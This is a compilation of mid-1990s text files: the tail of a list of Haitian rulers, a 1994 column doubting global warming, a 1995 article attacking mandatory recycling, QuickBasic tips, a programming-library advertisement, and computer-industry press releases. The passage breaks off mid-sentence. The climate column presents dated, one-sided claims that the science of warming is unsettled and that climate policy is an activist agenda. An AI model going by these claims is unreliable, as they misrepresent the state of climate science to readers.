Nord Alexis 1902-08 fled to Jamaica Antoine Simon 1908-11 fled to Jamaica M. Cincinnatus Leconte 1911-12 blown up Tancrede Auguste 1912-13 poisoned Michel Oreste 1913-14 fled to Jamaica Oreste Zamor 1914 murdered in jail J. Davilmar Theodore 1914-15 fled J. Vilbrun Guillaume Sam 1915 dismembered AMERICAN OCCUPATION 1915-1934 Stenio Vincent 1930-41 resigned Elle Lescot 1941-46 fled to Florida Dumarsais Estime 1946-50 overthrown Paul Magloire 1950-56 overthrown J. Nemours Pierre-Louis 1956-57 resigned Frank Sylvain 1957 overthrown Daniel Fignole 1957 overthrown Francois Duvalier 1957-71 died of illness Jean-Claude Duvalier 1971-86 fled to France Henn Namphy 1986-88 stepped down Leslie Manigat 1988 overthrown Henri Namphy 1988 overthrown Prosper Avril 1988-90 fled Ertha Pascal-Trouillot 1990 taken hostage Jean-Bertrand Aristide 1991 fled to America Cedris junta 1991-94 overthrown AMERICAN OCCUPATION Jean-Bertrand Aristide 1994 (?) *"King" of Northern Haiti The only thing that makes this track record look more ridiculous is our sending troops and spending taxpayers money to keep this travesty going. [end] @START@Global: (1)Warming (2)Cooling (3)All of the above America's Future, Inc. Behind The Headlines October, 1994 ACTIVISTS IN SEARCH OF A CAUSE ****************************** Nothing excites the environmental activists more than a crisis - the bigger the better. But all too often, the facts get lost in the hustle. Recently, Science magazine published a report by two CalTech professors which suggested that the Earth's climate has been cooling and for the last 6,000 years. Global cooling? It's a possibility, says Time magazine. The news-weekly ran a cover article earlier this year with the title: "The Ice Age Cometh?" But wait a minute. Wasn't it just a couple of years ago that the supposed crisis was global warming? The polar caps would melt, the seas would rise and the world's coastal cities would be under three or four feet of water? What's the public to believe? Well, a report by Dan Murphy of Investor's Business Daily suggests that the public and policymakers alike should cast a very skeptical eye on global climate claims. Why? Because the real scientific community is only too willing to admit that it doesn't have all the global climate answers. Consider what one of the CalTech researchers told reporter Murphy. "This is such a new science," said Samuel Epstein, "and such a new thing that we're in the process of developing it and finding out where the possible inconsistencies might be." Epstein adds: "Something that's as complicated as trying to read climate and various things, it's foolish to say, `I have the answer.'" Epstein and other scientists are aware that the scientific record is very incomplete. Epstein's work which shows a global cooling of about five degrees Celsius over the last 6,000 years, is based on three-ring samples from the ancient bristlecone pine trees. And this work builds on earlier bristlecone research. But other scientists have taken a different approach and tried to measure temperatures in a logical time series, especially over the 20th century. And these findings suggest a slight warming trend since 1900 - about one degree. Finally, a more recent study of global temperatures in the atmosphere, collected by orbiting satellites since 1980, suggests a very slight cooling trend - well within the range of normal variation.With such conflicting data, it's a small wonder that most scientists are uncertain. But the activists don't hesitate to dismiss this scientific uncertainty. Indeed, they are engaging in a breakneck effort to do something - anything! Consider how the information office of the United Nations' Office on Sustainable Development responded to the Investor's Business Daily article. A new U.N. report, writes Julie Thompson of the information office, "evaluates some of the uncertainties and fluctuations mentioned in your article. But we admit that underlying the U.N.'s work is universal acceptance by Governments of the need to act today in order to avoid irreversible damage tomorrow." How's that again? The operative phrase in the U.N.'s explanation is: "universal acceptance by Governments of the need to act today...." Now, "If the need to act" consisted of just funding additional research until the scientific record was more complete, most Americans probably would agree. But the activists seem to have a larger agenda in mind. Apparently, they want to control human activity and economic growth, and they're exploiting the global climate issue in the process. As the U.N.'s Julie Thompson notes: "... the United Nations Intergovernmental Panel on Climate Change reaffirm(s) its 1990 findings that global warming, primarily as a result of human activities, is a serious threat to the planet." Most Americans would not stand for a directive by the U.N. to cut back on driving or to modify electric utilities, forcing consumer rates ever higher. But that's essentially what is happening. The U.S. government appears to have "bought" the activists' idea of "Don't just stand there, do something," despite the lack of clear scientific evidence. As one Washington wag put it: "The activists never let the facts get in the way of a good cause." =================================================================== Behind the Headlines, written by Philip C. Clarke, is a syndicated column distributed by America's Future. It is available to interested newspapers and other publications on a gratis basis as a service of this non-profit educational organization. For more information, please write or call Mr. John Wetzel, c/o America's Future Inc., P.O. Box 1625, Milford, Pa. 18337 (717) 296-2800. @START@Wasteful Efforts! * The Freeman * March 1995 * The Foundation for Economic Education RECYCLING MYTHS +++++++++++++++ By Lawrence Reed If there's a buzzword in the business of managing America's solid waste problem, surely it is "recycling." At times the term seems to have taken on an almost religious meaning, with the faithful assuming that "disposable" is bad and "recycling" is good by definition. There's nothing wrong with recycling when it's approached from a perspective of sound economics, good science, and voluntary cooperation. Too often, it's promoted as an end in itself without regard to whether it's worth the time and expense. Recently, a speaker on this subject told my local Rotary Club that we should all recycle more of the paper we use so America could save its trees. The implication was that we're using too much paper, that trees are endangered, and that our civic duty requires that we do more with less. As it turns out, most of the trees that are planted in America are planted with the intent of eventually harvesting them to make things like paper. This means that if we all used less paper, there would be fewer trees planted. Maybe some people ought to use less paper anyway (bureaucrats, for instance), but no one should assume that the people who are in the business of growing and harvesting trees are going to continue to do so even if we don't buy their products. "We're running out of trees" is a fiction older than most of the trees alive today. The truth is that though the total area of forestland in the conti- nental United States is about the same as it was 75 years ago - 600 million acres - there are far more trees because of greater tree density per acre. Market-driven technological changes, such as the development of wood pre- servatives, have led to more efficient use of forest resources. Market incentives have given private land owners good reason to replant nearly three million acres of trees every year. So when it comes to paper, recycle to your heart's content, but not because you think we'll run out of trees if you don't. A recycling mania has been sweeping the country for nearly a decade. More than 6,000 curbside programs are operated by local governments, serving at least 70 million Americans. In a recent year, more than 140 recycling laws were passed in 38 states - mandating the activity or requiring taxpayers to pay for it, or both. All this has occurred at the same time that cost-cutting entrepreneurs are busy producing less and less packaging to contain more and more goods. Without any edicts from politicians, plastic milk jugs today contain 30 percent less plastic than they did just 20 years ago. The weight of aluminum cans declined by 36 percent between 1960 and 1990. Experts like Lynn Scarlett of the Los Angeles-based Reason Foundation point out that America's solid waste problem is a public policy failure, not a market failure. Because of flat rate charges for municipal garbage pick-up and disposal, government policies in most areas subsidize those who throw away large quantities of refuse at the expense of those who throw away very little. Entrepreneurs know how to construct landfills now that pose absolutely no hazard to the environment, and anyone who has ever flown over almost any state knows there's plenty of land for this purpose, but natsaying regulators have almost closed down this efficient waste management option. The fact is that sometimes recycling makes sense and sometimes it doesn't. In the legislative rush to pass recycling mandates, state and local govern- ments should pause to consider the science and the economics of every propo- sition. Often, bad ideas are worse than none at all and can produce lasting damage if they are enshrined in law. Simply demanding that something be recycled can be disruptive of markets and it does not guarantee that recycling that makes either economic or environmental sense will even occur. Many people believe that simply segregating plastic containers, glass bottles, newspapers, and metal cans and then placing them in colorful boxes at curbside means that recycling has somehow taken place. Without ever questioning either the cost or the outcome of the process that starts at the curb, they assume that whatever happens must be both economically and environmentally sound. Recycling, however, doesn't really happen unless all that plastic, glass, paper, and metal is turned into new, useful products that are actually in demand in the marketplace. Some of what we put at curbside actually ends up in a landfill or piled to the ceiling in warehouses with no place to go. Recycling programs may make a lot of civic-minded citizens feel good, but the whole rationale is undermined to the extent they are nothing more than expensive, politically motivated, and circuitous methods of old-fashioned garbage disposal. Quite often, more energy and resources are spent than saved in the process of recycling. Municipal governments, because of the inherent shortcomings of public sector accounting and budget information, routinely underestimate the full costs of their recycling programs. One area where recycling plainly works is in the disposal of aluminum cans. Since the process requires 10 percent less energy than transforming bauxite into aluminum, it pays for producers to use recycled cans. Hence, a market has developed for these cans, and market incentives encourage entrepreneurs to find efficient ways to collect them. One area where recycling doesn't make sense is in the disposal of juice containers used principally by school children. Aseptic disposable packages such as those small juice boxes were banned in Maine and are a target of the more extreme environmentalists. But as a 1991 study from the National Center for Policy Analysis (NCPA) in Dallas showed, such knee-jerk, interventionist, pseudo-solutions to nonproblems are rooted in misinformation or incomplete information: * Filling disposable boxes requires about half as much energy as filling the supposedly preferable alternative, glass bottles. * For a given beverage volume, transporting empty glass bottles requires 15 times as many trucks as the empty boxes - thus using more fuel and causing more air pollution. * Because the end product is lightweight, small, and rectangular, the boxes can be transported more efficiently than full glass bottles - using 35 per- cent less energy. Some staes have threatened to ban disposable diapers as a way to encourage the use (and recycling) of cloth diapers. Studies show, however, that when all environmental effects are considered, cloth has no clear advantage over dis- posables. In California and other western states where there is relatively abundant landfill space and a shortage of water, the case for disposables is actually quite strong. Residents of those states who avoid them and wash cloth diapers with the scarce water may actually be doing harm to the environment. The marketplace, once again, is not as dumb as certain do-gooders think it is. Several cities, including Portland, Oregon, and Newark, New Jersey, have essentially banned polystyrene food packages. That's what McDonald's used to put its burgers in until it was pressured into switching to paperboard containers. The average American thinks these efforts are positive for the environment because they will somehow promote recycling. They also believe that because paper is "biodegradable" and polystyrene is not, the switch will reduce the need for landfills. The truth of the matter is more complicated than that. Polystyrene, it so happens, is completely recyclable, which isn't always true of the paper used in, say, drinking cups. And those paper cups, by the way, cost the consumer about 2 1/2 times as much as polystyrene. Studies from NCPA and other respected organizations show that production of the old polystyrene McDonald's hamburger shell actually used 30 percent less energy than paperboard and resulted in 46 percent less air pollution and 42 percent less water pollution. The average 10-gram paper cup consumes 33 grams of wood and uses 28 percent more petroleum in its manufacture than the entire input of a polystyrene cup. Furthermore, the paper cup requires 36 times more chemical input (partly because it weighs seven times as much) and takes about twelve times as much steam, 36 times as much electricity and twice as much cooling water to make, compared to its polystyrene counterpart. And, about 580 times as much waste water, 10 to 100 times the residual effluents of pollutants, and three times the air emission pollutants are produced in making the paper cup. Environmentalists who put their faith in government, with hardly a scrap of evidence that suggests they should, seem oblivious to these realities. To them, mountains of refuse waiting to be recycled into things people don't want at a cost they would never freely pay is not a reason to abolish manda- tory recycling schemes. Instead, it gives them a reason to pass new laws that would force-feed the economy with recycled products. Market economists - by nature, philosophy, and experience - are skeptical of schemes to supplant the free choices of consumers with the dictates of central planners. the recycling mania confirms their suspicions. [end] @START@Arrow Keys in Quick Basic -> How can I make Quick Basic to recognize the arrow keys (up and down) from -> within a program? -> -> I always capture the keys the user presses with C$=INKEY$ instructions and -> then I examine the ASCII code of C$. -> But in the case of the up and down arrow keys both report an ASCII code of 0 -> (the same happens with all the function keys) so how can I distinguish one -> from the other? Things like Up/Down/Left/Right/end/home/alt keys/etc.. return a two digit scan code that has a NUL(ASCII code 0) and then another character... E.g. DO WHILE T$ = "" T$ = Inkey$ LOOP IF T$ = CHR$(0) + "H" then Print "Up Was presed!" IF T$ = CHR$(0) + "P" then Print "Going Down" Alt Keys go the same way, Always with that NUL infront of them.. Hope this helps. Steven Smith @START@Dimensioning vs. String Space DIM A(500), B(500,4) Use REDIM instead of DIM. Place the '$DYNAMIC metacommand at the top of your program. Using DIM Array(Constant,constant) places the entire thing in DGroup -> the 64K chunk of memory reserved for the stack and static variables. Using REDIM places it in far memory -> all memory left after the .EXE code and the 64K taken by DGroup. @START@ProBas ToolKit ProBas ToolKit Overview The ProBas ToolKit is a collection of high-level modules that make extensive use of the low-level routines in the ProBas Professional Basic Programming Library. The philosophy behind ProBas is to provide powerful, proven, low-level routines that afford the most capability with the least encumbrance. The ProBas ToolKit compliments this idea by providing high-level, "plug-in" modules so that you concentrate on the task at hand, not on spending hours or days writing and debugging another menu or some commonly-used module. The bottom line is simple: Time is money and you have better things to do than recreate the wheel. When you get right down to it, a single ToolKit routine can save weeks of coding time. When you consider how much your time is worth, just that one routine can more than pay for your entire collection of tools. Plug And Go Many of the modules in the ToolKit are written in Basic and make extensive use of the assembly language routines in ProBas. These modules can be stored in a library for easy access or loaded via the File menu in the QB/QBX editor. Users of Microsoft's Professional Development System Basic 7 can load ProBas ToolKit modules into EMS memory to leave more programming room in the QBX environment. Using ToolKit modules couldn't be easier; just set a few variables and CALL the module. The calling parameters are logical, consistent, and follow the ProBas philosophy of maximum flexibility with minimal limitations. User Interface Tools The ToolKit contains a wide assortment of user interface tools including menus, windows, list boxes, message boxes, dialog boxes, calendars, user color selection, error windows and more. All modules were designed to afford maximum power and flexibility. The ToolKit features menuing modules to suit almost every need. Choose from a wide selection of pull-down, pop-up, 123, bar, highlight and scroll menus, with and without mouse support and with and without help reminder lines. Other products offer only a limited number of 25x80 text mode menus. The dozens of menus in the ToolKit support 25, 43 or 50-line text modes, CGA graphics modes 1 and 2, EGA graphics modes 7, 8 and 9, VGA graphics modes 11 and 12 and the Super VGA 800x600 mode that Basic doesn't directly support, not to mention our exclusive text and graphic mode virtual screens. The ToolKit gives you complete control over all aspects of each menu, including overall placement, the text and placement of menu items, colors, and even the type interface. Each menu comes with fully commented and documented Basic source code so that you can easily modify or add features to any menu module. For example, you can have a pull-down menu item invoke a pop-up menu, and return to the pull-down, just by inserting a few lines of code. SAA-compliant pull-down menus and dialog boxes are very popular these days. ToolKit's text and graphic mode pull-down menus have all of the features you expect, such as the alt-key illuminating the bar, hotkeys, invalid menu items, stand-alone bar items, check boxes, radio buttons, reminder lines and simultaneous support for both the point-and-shoot and press-drag-release mouse interfaces. When working with pull-down menus and dialog boxes, you can choose self-contained modules that you call and which return when the user is done, or you can build your own using the interactive menu and dialog objects that give you complete control over every aspect of the interface. Dialog objects include input boxes with full text editing and masking, text lines, check boxes, radio buttons, vertical and horizontal list boxes and more. There are even pre-configured plug-in dialog objects, such as a QuickBASIC-style file selection box. All of these modules are written in Basic using the assembly routines in ProBas, so you can easily incorporate additional features to suit your exact needs by simply calling other ProBas routines or ToolKit Modules. The graphics menus, dialog boxes and list boxes make extensive use of the graphic icons and GUI objects in the ProBas library. This allows you to define your own GUI standards or emulate the look and feel of Microsoft Windows to any degree. You can even grab dialog objects, such as vertical or horizontal scroll boxes, and incorporate them into your program any way you like for Windows' functionality without the Windows look. Windows Galore With ProBas and the ToolKit you get windowing capabilities that put dedicated window libraries to shame. You can give your programs that professional snap with the powerful and flexible windowing modules in the ToolKit. Need to ask the user to select from a list? Put the list in a scrolling window with a highlight bar, with or without scroll bars, and with or without mouse support. How about allowing the user to tag multiple items? No problem! Why just scroll a file when you can present it in a window with full vertical and horizontal scrolling with just a single call? Why prompt a user for a file name when you can display a directory in a window (with any combination of name, size, date, time and attribute information) and allow the user to select a file using the keyboard or the mouse? It's easy! Pop-Up Tools The ToolKit contains a selection of high-level plug-in pop-up tools. Need an editor? Pop-up either a mini-editor with word-wrap for short memos and notes or a more extensive word processor for bigger editing jobs. You have complete control over size, placement and colors. Want to add a combination single/multi-user rolodex and mailing-list data base with full B-Tree indexing? No problem. How about a multi-user notepad database? It's in there. Other handy pop-up tools include a pop-up dual-memory, multi-mode calculator, modules that allow your users to select program colors and much more. B-Tree Indexing The ToolKit comes with a complete multi-user B-Tree indexing system that allows you to create, find, add, edit and insert keys in a balanced B-Tree index. Written entirely in assembly language, these routines are blindingly fast and take up hardly any memory at all. For example, an index of 10 million last names requires less that 16K of memory in your program and can locate a record in under a second! Routines include insert, delete, full and partial searches, get next key, get previous key, get first key and get last key. Open as many indexes as you need to search on multiple keys. Use indexes to instantly sort megabytes of data. Use the B-Tree routines with the lightning-fast file I/O routines in ProBas to assess and manipulate huge data bases thousands of times faster than possible with Basic alone. Key and record limits are in the billions, so you'll never outgrow these routines. Calendar & Date Routines The ToolKit comes with colorful pop-up calendar modules with all of the features that you expect. These great-looking calendars will appear fully drawn in the blink of an eye in either text mode or EGA/VGA graphic modes for a really impressive look. You get modules that pop-up a calendar, interactive routines that allow the user to browse through months and years, and calendar modules that allow you to define the keystrokes and user interface. The ToolKit's Julian date routines are a must when working with date-driven applications like accounts-receivable or inventory control. You can easily find out the number of elapsed days between two dates, what the date was 37 days ago, or what it will be in 90 days. Other handy date routines include a routine to tell you what day of the week a particular date falls on, anytime in the current, previous or next century. Assembly Answers To Basic Problems Lest you get the wrong impression, not all of the routines in the ToolKit are written in Basic. While Basic modules that make extensive use of the assembly routines from the ProBas library are the best way to handle many programming chores, some things just work better in assembly. So, in addition to the assembly B-Tree routines, the ToolKit also includes a selection of high-level assembly subsystems to perform tasks that would be impossible with Basic. Patch EXEs The ToolKit's PATCH routines allow you to patch .EXE files and create self-modifying code. This is an ideal way to create installation programs that do away with configuration files that can be lost or damaged. You can use these tools to easily patch filespecs, passwords, and other user-defined data right into your executable program. For example, you can embed the user's name and company name into the program files in an encrypted format, so that their name appears every time the program is run to discourage pirating. You can also use these routines to add serial numbers to your programs during disk duplication, patch data for custom menus created by the user or even write programs that learn with use and modify themselves. BCD Math Routines The ToolKit comes with a set of BCD (Binary Coded Decimal) routines that allow you to work with numbers as large as 255 digits with any number of digits to the left or right of the decimal point. These routines are string-based and amazingly fast and include functions such as add, subtract, multiply, divide, compare, sine, cosine, tangent, and more plus routines for formatting numbers to words and rounding BCD values. TSR Protected Storage The ToolKit includes a full set of routines to create a TSR (terminate and stay resident) protected storage area in memory. This allows your program to set aside anywhere from 1K to 63K of memory as a TSR storage area into which you can "peek" and "poke" entire strings or arrays at assembly language speed. You can use a protected storage area to pass data between chained, shelled or stand-alone programs, or to permit the program to exit entirely and come back with your data still intact. The TSR routines can also be a viable alternative for protected data storage when your customers don't have EMS or XMS memory. CGA Character Sets Tired of the limited character set available in CGA? With the ToolKit, you can create custom character sets for CGA that are just the thing for making laptop and briefcase computer screens easier to read. These routines allow you to add or redefine the IBM-extended character set or add up to 128 additional custom characters, icons, logos, and foreign characters at a time. Best of all, these character sets just take up 2K of memory. Other Goodies The ToolKit comes with all of this plus a comprehensive manual consisting of Introduction, Tutorial and Reference sections, detailed examples, and fully commented Basic source code. Many of our customers tell us that the ToolKit not only saved them hundreds of programming hours, but also taught them hundreds of programming tricks and how to get the most out of Basic. The ProBas ToolKit is the ideal companion for the ProBas Library. TeraTech Inc - Tools for Programmmers(tm) Basic, C++, ASM and Visual Basic/Win programming tools & consulting for PC ***>>> Call, write or Email for FREE catalog & demo disk <<<*** 100 Park Ave Ste 360 Dept 500,Rockville MD 20852 USA Email:info@teratech.com Voice: +1-301-424-3903, 800-447-9120 x500 Fax:301-762-8185 BBS:301-762-8184 @START@Glare/Guard(R) Introduces Four New Monitor Filters Glare/Guard(R) INTRODUCES FOUR NEW PC MONITOR FILTERS SANTA ROSA, Calif. - April 3, 1995 - Glare/Guard, the world's market leader in anti-glare/anti-radiation filters for personal computer monitors, today unveiled four new models which start at $19.99--an industry first for optically coated, framed glass anti-glare filters. The new models decrease bothersome glare by up to 99%, significantly reducing eye strain and headaches as well as delivering sharper image quality at affordable prices. Perfect for home office and family PC users as well as business users, the new models are called the GlareDefender(TM), the Standard (TM)500, the Optima(TM)1500 and Optima(TM)1700. info: tel. 212/213-7090 @START@HP Announces Two New Surestore Disk Drives HP ANNOUNCES TWO NEW SURESTORE DISK DRIVES WITH 1.2GB AND 2.14GB OF STORAGE CAPACITY PALO ALTO, Calif. - April 3, 1995 - Hewlett-Packard Company today announced HP SureStore Disk 1000S+ and 2000LP drives, two 1-inch-high, 3.5-inch disk drives that offer 1.2GB and 2.14GB of storage capacity, respectively. These drives have been qualified on most major operating platforms and come with an easy-to-use installation diskette for smooth integration into high-end PCs, workstations, multiuser systems, servers and disk arrays. @START@Compaq Introduces Powerful New PCs for the Home COMPAQ INTRODUCES POWERFUL NEW PCs FOR THE HOME INCLUDING FIRST 586-BASED PRESARIO PRODUCTS HOUSTON - April 3, 1995 - Continuing its aggressive pursuit of marketshare in the fast growing home PC market, Compaq Computer Corporation today launched 12 new easy-to-use Presario PCs, including the company's first 586-based consumer models. The new line is the industry's first to feature fast "quad-speed" CD ROM drives on all models, which greatly enhance the multimedia experience. The new Presario products are ideal for all types of PC users -- from novice to enthusiast -- and lift lifestyle and multimedia computing to a new level. The more powerful 486- to 586-class microprocessors and "quad-speed" CD-ROM drives are combined with the standard set of Presario multimedia features, eight to 16 megabytes (MB) of random access memory (RAM) and more than 20 bundled software titles. info: tel. 800-888-5858 @START@Novell Announces Perfectworks 2.1 for Windows NOVELL ANNOUNCES PERFECTWORKS 2.1 FOR WINDOWS OREM, Utah, April 3 - Novell, Inc. today announced the development of PerfectWorks 2.1 for Windows. The new version, formerly known as WordPerfect Works, includes more than 30 new features and enhancements found throughout the program, making PerfectWorks the most integrated, powerful and easy-to-use Works program available today. PerfectWorks integrates Novell's PerfectSense technology with QuickCorrect and Grammatik to help users improve their writing and save time. QuickCorrect is the same writing technology found in Novell's PerfectOffice that automatically corrects misspellings. The popular Grammatik grammar and style checker uses PerfectSense technology to help users improve their writing and usage; Grammatik even suggests replacement words, phrases and sentences and then rewrites them if desired, saving users valuable time. Internet: bstowell@novell.com @START@ NeXT Ships Enterprise Objects Framework 1.1 NeXT SHIPS ENTERPRISE OBJECTS FRAMEWORK RELEASE 1.1 REDWOOD CITY, Calif. - April 4, 1995 - NeXT Computer, Inc. today shipped Enterprise Objects Framework Release 1.1, a new version of its revolutionary technology which seemlessly integrates object-oriented applications with data from leading relational databases from Oracle Corporation and Sybase, Inc. The Enterprise Objects Framework enables customers to rapidly build reusable business and application-level objects that are independent of underlying databases. @START@Netware 4.1 Earns Four New Product of the Year Honors NETWARE 4.1 EARNS FOUR NEW 'PRODUCT OF THE YEAR' HONORS NetWare Also Sweeps Brand Preference Study, Remains the Favorite of IS Professionals PROVO, Utah, April 4 - Novell today announced that NetWare 4.1 has earned four new Product of the Year awards from three leading industry publications, InfoWorld, LAN Magazine and Network Computing. These awards join the top product honors already awarded to NetWare 4 this year from PC Week, Personal Computing and VAR Business. Novell also announced that NetWare has swept Computerworld's Brand Preference Study for Local Area Networks, earning top marks from IS professionals in five categories. @START@FBI Investigates Silicon Valley Spy Ring FBI INVESTIGATES SILICON VALLEY SPY RING SAN FRANCISCO - The FBI is investigating a suspected Silicon Valley spy ring which allegedly stole trade secrets from high-tech companies and sold them to a rival firm, court documents showed Tuesday. A Federal Bureau of Investigation affidavit filed in U.S. District Court in San Jose, Calif., alleges that employees of several Silicon Valley firms or their outside contractors supplied copies of top-secret technical drawings of parts to Semiconductor Spares Inc., a small San Carlos, Calif. company. @START@Intuit Stockholders Approve Merger With Microsoft INTUIT STOCKHOLDERS APPROVE MERGER WITH MICROSOFT MENLO PARK, Calif. - April 10, 1995 - Intuit Inc. announced that its stockholders approved Intuit's proposed merger with Microsoft Corporation at a special stockholders' meeting held today. Consummation of the merger remains subject to regulatory approval by the U.S. Department of Justice, which the Company and Microsoft are in the process of seeking. info: tel. 415/329-3555 @START@How Vulnerable are Your Computer Systems? HOW VULNERABLE ARE YOUR COMPUTER SYSTEMS? Free assessment tool available ROSEMONT, Ill. - April 10, 1995 - Comdisco Disaster Recovery Services, the world's leader in enterprisewide computer disaster recovery, announced today the availability of a free self-assessment survey from which businesses can determine how vulnerable their computer data is in the event of a prolonged computer disruption. Companies can request the survey by calling 1-800-272-9792, Monday through Friday, 9 a.m. - 5 p.m. (CST). @START@ Compaq Sues Packard Bell for False Advertising COMPAQ SUES PACKARD BELL FOR FALSE ADVERTISING HOUSTON - April 10, 1995 - Compaq Computer Corporation today filed suit alleging that Packard Bell Electronics, Inc. is misleading the public by selling, as new, products that contain used components. The lawsuit claims that Packard Bell fails to disclose to potential purchasers of their products that they may be buying a computer that contains used components. According to the Complaint, which was filed in Federal District Court in Wilmington, Delaware, Packard Bell disassembles many of its returned products and then uses these parts in the assembly of certain products which are then sold as new. info: tel. 713-374-0484 @START@HP Announces First Gigabit Fibre Channel Controller HP ANNOUNCES INDUSTRY'S FIRST GIGABIT FIBRE CHANNEL CONTROLLER FOR DIRECTLY CONNECTING PERIPHERALS TO THE NETWORK Low-cost Single-chip Solution Advances Fibre Channel Evolution PALO ALTO, Calif. - April 10, 1995 - Hewlett-Packard Company today announced Tachyon, the industry's first Fibre Channel controller fully integrated on a single chip. The new chip is designed for high- performance applications in network-attached mass-storage solutions and can transfer data at unprecedented gigabit speeds. The chip will allow vendors of mass-storage solutions, host adapters and computer systems to slash the lengthy development times and high manufacturing costs previously associated with high-speed implementations. info: tel. 408/447-5334 @START@Hitachi Introduces World's Fastest Mainframe HITACHI INTRODUCES WORLD'S FASTEST MAINFRAME COMPUTER SYSTEM SANTA CLARA, Calif. - April 10, 1995 - Hitachi Data Systems (HDS) Monday announced a new line of mainframe computers that, on a performance basis, operate at twice the speed of current products while occupying less than half the floor space. Designed and manufactured by Hitachi, Ltd., the new enterprise computer system, called the HDS Skyline Series(TM), also reduces, on a performance basis, power consumption and cooling costs by more than 70 percent. info: tel. 408/970-4356 @START@Borland dBase & Paradox Support Lantastic Network Users BORLAND dBASE & PARADOX SUPPORT LANTASTIC NETWORK USERS SCOTTS VALLEY, Calif. - April 10, 1995 - Borland International Inc.'s two desktop database management systems, dBASE and Paradox, fully support Artisoft's LANtastic 6.0 networks. "As the leading provider of DOS and Windows databases for networked file servers, Borland recognizes the importance of network compatibility to database developers and their users," said Richard Gorman, vice president of products for Borland. "Especially for small- to medium-size businesses that don't have much time or resources to spend on their computer systems, it is vital to purchase components that have the flexibility to work together -- and grow together -- from the start. dBASE, Paradox, and LANtastic do that." info: tel. 408/431-4863 e-mail: scurry@wpo.borland.com @START@Epson Introduces Nest-Generation EPSON INTRODUCES NEST-GENERATION ActionTower 486/586 PERSONAL COMPUTERS TORRANCE, Calif. - April 10, 1995 - Meeting the growing business and home market demand for affordably priced, high-performance multimedia PCs, EPSON Monday introduced the next generation of its popular ActionTower family: the ActionTower 8000 series and the ActionTower 7000 series. The new EPSON ActionTowers come with an optimal configuration of today's most desired features and are pre-loaded with one of the PC industry's richest bundle of application, entertainment, education and information-access software. info: tel. 310/782-5161 @START@Microsoft's New Scenes Sterogram Collection 2.0 MICROSOFT'S NEW SCENES STEREOGRAM COLLECTION 2.0 AND PERSONAL SCREEN SAVER MAKE WINDOWS-BASED COMPUTING MORE FUN REDMOND, Wash., April 10 - Microsoft Corp. today announced two new screen savers, the Microsoft(R) Scenes Stereogram Collection version 2.0 and Microsoft Scenes Personal Screen Saver. The Scenes Stereogram Collection screen saver includes random dot and landscape stereograms, which comprise actual photographs from nature that have "hidden" 3-D images. For example, after defocusing or looking "beyond" the jungle scene, the user will see a pride of lions. Stereogram images, in general, have become a social phenomenon inspiring a number of books (including three New York Times' bestsellers), posters, postcards, and national syndication in the Sunday comics. @START@Survey Finds Many Still Intimidated by Computers SURVEY FINDS MANY STILL INTIMIDATED BY COMPUTERS SEATTLE - April 10 - About one in four Americans still are intimidated by computers, according to a survey commissioned by software giant Microsoft Corp. A separate survey done for Microsoft in Britain, Germany and France got a similar response and found that more than half of those questioned believe computers have made work more enjoyable. Microsoft senior vice president Pete Higgins said the surveys, showed that computers have become widely accepted at work and in the home but still face some resistance. @START@Fujitsu Announces Next-Generation Scanners FUJITSU ANNOUNCES NEXT-GENERATION SCANNERS M3093EX/GX and M3096GX Highlights SAN FRANCISCO - April 11, 1995 - Fujitsu Computer Products of America Inc., the industry leader in the high-performance mid-range scanner market, today announced its line of next-generation high- performance scanners at the AIIM (Association for Information and Image Management) trade show. The new M3093 and M3096 products scan at 27 and 22 ppm respectively, about 10 percent faster than the previous models. The new scanners feature locking paper guides for advanced paper handling. The guides decrease the chance a document will be skewed in the imaging process, an important consideration in high-speed, batch-production environments. info: tel. 408/432-6333 or e-mail: mmedeiros@fcpa.fujitsu.com @START@Packard Bell Makes Statement in Response to Compaq PACKARD BELL MAKES STATEMENT IN RESPONSE TO COMPAQ LOS ANGELES - April 10, 1995 - ``Compaq has evidently developed a public relations strategy to divert our efforts and slow our growth,'' said Beny Alagem, president and CEO, Packard Bell. ``We have not had an opportunity to carefully review the complaint but it appears to be a strictly self-serving document defending Compaq's own practices. We believe the complaint is totally without merit and specifically designed to stall Packard Bell's momentum in the marketplace. ``The world now recognizes that Packard Bell is the comsumer's choice and Compaq clearly feels the heat.'' @START@Powerful Servers Deliver Unprecedented Database Performance WORLD'S MOST POWERFUL SERVERS DELIVER UNPRECEDENTED DATABASE PERFORMANCE MAYNARD, Mass., April 11 - Digital Equipment Corporation today announced the computer industry's most powerful server systems for demanding, large commercial and scientific applications, until now the domain of expensive traditional mainframes and super- computers. The new AlphaServer 8400 enterprise server and AlphaServer 8200 departmental server are the first to use the record-breaking BIPS (Billion Instructions Per Second) chip from Digital. They deliver the industry's highest RISC performance and best price/performance for business-critical applications at one-tenth the price of the most widely used mainframes. info: tel. 508-264-6672 @START@Cray Communications Inc. Identity Statement CRAY COMMUNICATIONS, INC. IDENTITY STATEMENT ANNAPOLIS JUNCTION, Md., April 11 - Cray Communications, Inc. issued the following: Recently, Cray Computer Corp. filed for bankruptcy-court protection under Chapter 11 of the United States Bankruptcy Code. This event has caused some confusion among our customers and prospects about our relationship with this company. Neither Cray Communications, Inc. or its parent company, Cray Electronics Holdings, PLC, is or has ever been affiliated with Cray Research, Inc. or Cray Computer Corporation. info: tel. 301-317-7483 @START@UNISYS and IMC Team to Provide Open OLTP for Business UNISYS AND IMC TEAM TO PROVIDE OPEN OLTP FOR BUSINESS Edison NJ - April 11 - Unisys Corporation and Information Management Company (IMC) today announced that the companies have joined forces to develop commercial Open Online Transaction Processing (OLTP) products for business applications. Available now, and fully integrated, the initial offering includes an enhanced TUXEDO ETP System integrated with Open TransPort for interoperability amongst OLTP Systems. Work is in progress to provide system management and high availability. The products will be sold directly by Unisys under the TransIT trademark, and also offered by IMC on UNIX, Microsoft Windows/NT, and IBM platforms through IMCs worldwide distribution channels. The goal of this teaming is to provide MIS with an Open OLTP environment that offers transaction processing capabilities and the reliability, availability, serviceability and security inherent in proprietary TP environments. info: tel. 908-346-3100 or fax 908-417-9771 @START@Pioneer Introduces Desktop Quadspeed CD Recorder PIONEER INTRODUCES DESKTOP QUADSPEED CD RECORDER LONG BEACH, Calif., April 11 - Pioneer New Media Technologies, Inc., makers of the industry's first quadspeed CD-ROM readers and multidisc changers, has introduced a quadspeed, desktop CD-ROM recorder and reader. Providing both quadspeed and doublespeed recording and reading modes, the Pioneer DW-S114X offers a sustained data transfer rate of up to 614 KB/sec. "Pioneer combines the benefits of CD-Recordable technology with the convenience of desktop computing," said Mark Stevens, marketing director for Pioneer. "Our customers now can take advantage of an advanced technology that is proving it's 